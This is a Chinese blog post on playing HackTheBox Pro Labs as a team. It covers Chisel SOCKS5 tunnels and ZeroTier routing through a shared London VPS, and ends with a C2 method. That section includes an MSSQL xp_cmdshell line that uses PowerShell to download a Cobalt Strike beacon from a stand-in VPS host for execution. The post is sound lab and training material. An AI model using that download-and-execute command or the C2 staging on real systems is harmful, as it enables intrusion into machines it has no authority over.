如何多人一起打HackTheBox
HTB pro labs限制了靶场的openvpn代理只能在一台机器上开启,
如果有第二台机器尝试连接靶场的openvpn文件,就会连接不上。那我如果要和朋友们一起打HTB pro labs要怎么办呢?
方案一、在 vps 上连接靶场,玩家登上 vps 进行游玩
最初的方案,是在 vps 连接靶场的openvpn代理,每个玩家直接登录该 vps 游玩。
但是这个方案很快就否决了,原因如下:
- vps 缺少GUI界面,而有些玩家比较习惯GUI界面操作
- 如果玩家顺势在 vps 上记录攻击线索或者安装一堆与靶场有关的工具,不同玩家之间就会互相剧透。
- 如果某玩家把 vps 的环境搞崩溃,如果回退环境,也会影响到其它玩家。
方案二、使用 Chisel 搭建 Socks5隧道,玩家使用 Socks5隧道进行游玩
在仔细查阅 Chisel 的官方文档之后,实现了一种通过 Chisel 代理实现多人共同游玩的方案:
- 首先,在 vps 上启动openvpn连接靶场节点
- 然后,在 vps 上启动 Chisel 服务端
- 然后仿照单人游玩的操作,在入口机上使用 Chisel 客户端,连接 vps 上的 Chisel 服务端。
- 实际的操作都和单人游玩一样。成功在 VPS 和入口机之间建立了一条 Socks5 隧道。
- 这样所有人都可以通过设置本地socks代理,代理地址为
socks5 107.173.157.111 1080
。从而访问到靶场内部
虽然这种方案解决了多人一起玩的需求,但是前提是得有某一个人拿下入口机的权限,去入口机上架设socks5隧道。那如果想要让大家都真正的从零开始玩呢?比如从扫描靶机网段,探测入口机地址开始。
方案二点五、改进原 Chisel 搭建方案
经过了一番思考,改进了一下上一版方案:
- 在 VPS 上,启动 Chisel 客户端,连接 VPS 上已经启动好的 Chisel 服务端
- 这样所有人通过设置本地 socks 代理,代理地址为
socks5 107.173.157.111 1081
。从而和靶场入口网段连通
方案三、使用Zerotire组网
虽然现在已经可以大家分别在本地,通过socks5代理访问靶场网段。但是又遇到了新的体验问题:
- Socks5隧道不能支持代理 ICMP 和 ARP 协议,直接导致无法使用 nmap 最快的 ICMP 扫描,入口网段的存活机器探测和开放端口扫描都会变得特别慢。
经过一番调查,采用 Zerotire 作为新一版的多人游玩方案。
- 在 VPS 上安装 Zerotire
- 在 Zerotire 控制台,设置路由转发规则 ,通过 VPS 去访问目的地址为
10.10.110.0/24
,并为 VPS 设置 iptables 流量转发
这样所有玩家,直接加入 Zerotire 网络即可访问靶场网段。
同时,在 VPS上保留了一个 Chisel 服务端。当玩家打完入口机之后,可以使用 scp 将 Chisel 传到入口机上,
然后连接 VPS 的 Chisel 服务端启动一条socks5隧道用于后续内网穿透。和 Chisel 方案操作一致。
使用 Zerotire 方案已经解决了很大一部分的靶场稳定性和速度问题。进一步优化靶场速度,只能从 VPS 的位置考虑。
Hack The Box的总部位于英国伦敦,选择位于伦敦的 VPS 可以将 VPS 与靶场之间的通信延迟,降低到 10ms。
这时候再考虑 VPS 与国内之间的通信延迟,尽可能低即可。
原本为了实现低延迟,考虑选用CN2 GIA线路的 VPS,即从国外到国内走单独的直连线路。延迟最低,价格也最贵。是的,价格太昂贵了,只是为了用来搭建低延迟的多人协作靶场,属实是大材小用了。
然后,开始横向对比多家云服务器厂商的普通产品。最后选定了 vultr 家的伦敦节点 VPS,采用最抠门配置,1核1G。
每月6美元,并且可以用 paypal 余额支付,非常划算。
VPS 与 靶场直连的延迟平均为1.5ms:
本地 与 VPS 直连的延迟平均为170ms:
整体使用效果平均为172ms:
这样有个好处,如果还嫌本地和靶场交互操作慢,可以选择接梯子加速连上VPS,从VPS和靶场直接交互,延迟只有不到3ms。
多人情况下如何反弹shell?
由于多人一起打,本质上是通过一个公用vps将所有人的流量集体转发到HTB靶场内部,如下图:
flowchart LR
A[player 1] --> B(vps)
C[player 2] --> B(vps)
D[player 3] --> B(vps)
B(vps) -->|请求| E[HTB]
E[HTB] -->|响应| B(vps)
所以想要反弹shell,只能反弹到vps上,并不能直接反弹到每个玩家的攻击机上。
那么有没有什么解决办法呢?
有,我们可以直接用一种更高级的“反弹shell”手段,即使用C2工具。
既然能反弹shell,说明一定能执行命令,那么就可以通过执行命令,下载C2工具的beacon然后直接将受害机上线。
以 CobaltStrike 为例,在 vps 上启动 CobaltStrike 的 teamserver
反弹shell 以 mssql 的 xp_cmdshell 为例,首先生成一个 CS 的 beacon,然后用python启动一个临时的web服务,使用 xp_cmdshell 下载 beacon 并执行
1 | exec xp_cmdshell 'powershell.exe wget http://vps-ip:8000/cs.exe -OutFile C:\\Users\Public\\cs.exe' |
这样每个玩家就可以在自己的攻击机上面,连接 teamserver 去控制受害机了。
注:如果想要让每个玩家之间互不剧透或者走捷径,即A玩家上线了一台受害主机之后,不想让B玩家直接操控这台主机(想让B玩家自己从头完整打一遍),可以找一个有权限分级的C2工具来用。